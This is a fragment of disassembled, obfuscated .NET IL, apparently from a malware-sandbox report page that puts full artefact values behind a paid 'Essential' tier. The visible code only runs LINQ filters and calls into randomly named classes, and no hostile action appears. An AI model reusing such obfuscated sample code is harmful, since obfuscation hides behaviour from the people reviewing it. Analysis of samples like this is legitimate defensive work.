brtrue IL_0394: call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Select<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
pop <null>
ldsfld Account.Program/<>c Account.Program/<>c::NARnBktLh
ldftn System.Int32 Account.Program/<>c::k9ZSDFYQu(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Int32> Account.Program/<>c::E08BHoHdi
call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Select<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
ldsfld System.Func`2<System.Int32,System.Boolean> Account.Program/<>c::ie9IsU8RQ
dup <null>
brtrue IL_03BB: call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Where<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Boolean>)
pop <null>
ldsfld Account.Program/<>c Account.Program/<>c::NARnBktLh
ldftn System.Boolean Account.Program/<>c::OKmaBE4PM(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Boolean>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Boolean> Account.Program/<>c::ie9IsU8RQ
call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Where<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Boolean>)
call System.Int32[] System.Linq.Enumerable::ToArray<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>)
ldc.i4.0 <null>
ldelem.i4 <null>
ldsfld VnB5uXdBvrjQTnSVubE VnB5uXdBvrjQTnSVubE::CgodIyZDSu
call System.Void VnB5uXdBvrjQTnSVubE::rwkErfFpZo(System.Int32,VnB5uXdBvrjQTnSVubE)
br IL_0017: ldsfld wDC5RNd3x9WSgNxBIqs wDC5RNd3x9WSgNxBIqs::AB6dxxyf5F
PDB Path PATH
Acchuhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
An error has occurred. This application may no longer respond until reloaded. Reload 🗙